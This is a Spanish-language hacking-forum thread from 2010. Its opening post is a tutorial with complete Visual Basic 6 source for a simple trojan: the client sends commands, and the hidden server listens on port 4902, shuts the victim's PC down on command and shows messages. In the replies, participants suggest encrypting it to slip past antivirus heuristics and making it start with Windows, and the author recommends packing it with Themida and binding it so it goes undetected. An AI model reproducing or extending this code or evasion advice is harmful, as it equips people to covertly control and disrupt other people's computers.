Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: NightMore en 16 Noviembre 2010, 21:39 pm


Título: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: NightMore en 16 Noviembre 2010, 21:39 pm
                                                                        [Mi primer troyano]
Programas necesitados : Visual basic 6.0
Hola,buenos dias.Me pase por algunos post y encontre que mucha gente trata de hacer su primer troyano.Este es un troyano simple.Espero que comprendan que no deben copiar & pegar deben estudiar este codigo.Para avansar mas con el.


Bueno,Abrimos visual basic 6.0 Colocamos 2 label 2 textbox 2 botones(Dos botones por ahora) El primer commandbuton se va a llamar "Conectar" El segundo CommandButon "Desconectar"
Label1: Se va a llamar Ip/Host :
Label2: Se va a llamar Puerto :

Lo acomodon como ustedes quieran.Bueno agregamos el componente winsock y le ponemos el nombre Sock1 o como ustedes quieran

Código:
En el command1(Conectar) Lo clickeamos 2 veces Adentro de el commandbuton1(Conectar) Colocamos el sigiente codigo 
Sock1.close 'Cierra todas las conexiones
Sock1.connect text1.text,text2.text 'el text1.text es donde se ingresa la ip el text2.text el puerto

Listo el command1 lo tenemos listo ahora vamos al command2 lo clikeamos 2 veces.Adentro del commandbutton2 colocamos el sigiente codigo :
Código:
Sock1.close ' Cierra todas las conexiones

Ahora agregamos el boton3 commandbutton3 en propiedades eligimos el caption en caption escribimos Shutdown.Adentro del commandbutton3 ponemos :

Código:
If Winsock1.State = 7 Then 'Verifica que el winsock este conectado 7 = Conectado
    Winsock1.SendData "Shutdown" 'envia una señal al servidor la señal "Shutdown"
Else 'Si no estamos conectado pasa lo sigiente
    MsgBox "Error necesitas estar conectado.", vbInformation, "Error :"
End If
end sub

Ahora generamos el exe File>Make to exe lo guardamos.Ahora Hacemos otro proyecto que seria el servidor.Elegimos el exe standar ahora clickeamos 2 veces el formulario ponemos lo sigiente

Código:
Me.Visible = False 
App.TaskVisible = False  
App.Title = "" 

Winsock1.LocalPort = "4902" 
Winsock1.Listen

Ahora agregamos el componente winsock1 y una ves colocado en el formulario ponen en general clickear 2 veces form load ... y ponen el sigiente codigo en declaraciones

Private Const SPLITTER As String = "{Ex}"

Código:
Private Sub Winsock1_Close() 
Winsock1.Close 
Winsock1.LocalPort = "4902" 
Winsock1.Listen 
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close 
Winsock1.Accept requestID 
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Temp As String 
Dim Temp2() As String 

Winsock1.GetData Temp
Temp2 = Split(Temp, SPLITTER)
'SPLITTER which = "{Ex}"
Select Case Temp2(0) 
    Case "Shutdown" 
    Shell "shutdown -s -t 00" ' Esta es la señal de shutdown
    Case "Message" 
    MsgBox Temp2(1) 
End Select
End Sub

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: Psyke1 en 16 Noviembre 2010, 21:49 pm
Bienvenido!
Gracias por el esfuerzo pero creo que la red esta un poco saturada ya de manuales de este tipo.

DoEvents! :P

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: BlackZeroX en 17 Noviembre 2010, 04:55 am
.
@Mr. Frog ©::Deja que aprenta total la red es libre...

@NightMore::no lo he revisado pero lee un poco sobre logica matematica y relacionalo con la programacion te ayudara bastante... quisas no le encuentres similitud pero a la larga te ayudara bastante.

Dulces Lunas!¡.

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: Psyke1 en 17 Noviembre 2010, 12:23 pm
Me exprese mal, no digo que no sea bueno para aprender, pero creo que seria mejor plantearlo como (pregunta|busqueda de consejo) que como manual... (solo mi opinion personal)
En cuanto al codigo estoy de acuerdo con Black, a proposito:

Código
  1. App.TaskVisible = False  
  2. App.Title = ""

La heurística de los AVs lo detectan, mejor encriptarlo... :)

DoEvents! :P

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: NightMore en 17 Noviembre 2010, 16:25 pm
Ami no me lo detecta ningun anti-virus.probe en otras pc tampoco.Solo fue un pequeño tutorial de un cliente y server,Lo que quiere decir un simple tutorial.Pero igual gracias por sus comentarios :D

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: 79137913 en 17 Noviembre 2010, 17:42 pm
HOLA!!!

Mmm, esto mas que un troyano es un chat unilateral por MsgBoxes modificado.

Tambien, deberia iniciarse con windows.

Y como dijo Pyske o el SR Rana. Lo va a detectar el AV.

Igual Gracias por agregar conocimiento al foro, esto talves saca alguna duda

Pero bueno.

Lo que me intriga es que Karcrak esta viendo el tema y no escribe nada...

GRACIAS POR LEER!!!

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: fary en 18 Noviembre 2010, 22:11 pm
Cita de: Mr. Frog © en 17 Noviembre 2010, 12:23 pm
Me exprese mal, no digo que no sea bueno para aprender, pero creo que seria mejor plantearlo como (pregunta|busqueda de consejo) que como manual... (solo mi opinion personal)
En cuanto al codigo estoy de acuerdo con Black, a proposito:

Código
  1. App.TaskVisible = False  
  2. App.Title = ""

La heurística de los AVs lo detectan, mejor encriptarlo... :)

DoEvents! :P

ademas App ya no va ni en windows vista ni en 7

salu2!

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: Karcrack en 18 Noviembre 2010, 23:13 pm
Cita de: 79137913 en 17 Noviembre 2010, 17:42 pm
Lo que me intriga es que Karcrak esta viendo el tema y no escribe nada...
No creo que sea necesario que comente en cada post que leo :xD Ademas, comparto la opinion de Mr.Frog ;)

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: BlackZeroX en 19 Noviembre 2010, 03:40 am
Cita de: 79137913 en 17 Noviembre 2010, 17:42 pm
...
Y como dijo Pyske o el SR Rana. Lo va a detectar el AV.
...
Igual Gracias por agregar conocimiento al foro, esto talves saca alguna duda
...

Eso esta demás, es simple y ayudara a muchos para sistemas futuros eso en punto de vistaa deberia ser lo mas resaltable, mas no lo de uso daniño... por algo libero el SourceCode.

Dulces Lunas!¡.

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: NightMore en 19 Noviembre 2010, 14:52 pm
Dinki99 te equibocas yo,Yo tengo windows7 y si funciona.Algunos comandos no pero otros si.si los detecta el anti-virus solo usen temida despues bindenlo y listo.No lo detecta...

Título: Re: Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Publicado por: fary en 19 Noviembre 2010, 23:50 pm
Cita de: NightMore en 19 Noviembre 2010, 14:52 pm
Dinki99 te equibocas yo,Yo tengo windows7 y si funciona.Algunos comandos no pero otros si.si los detecta el anti-virus solo usen temida despues bindenlo y listo.No lo detecta...

Pues yo tenia windows vista y ya no me iva...  :xD

salu2!


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines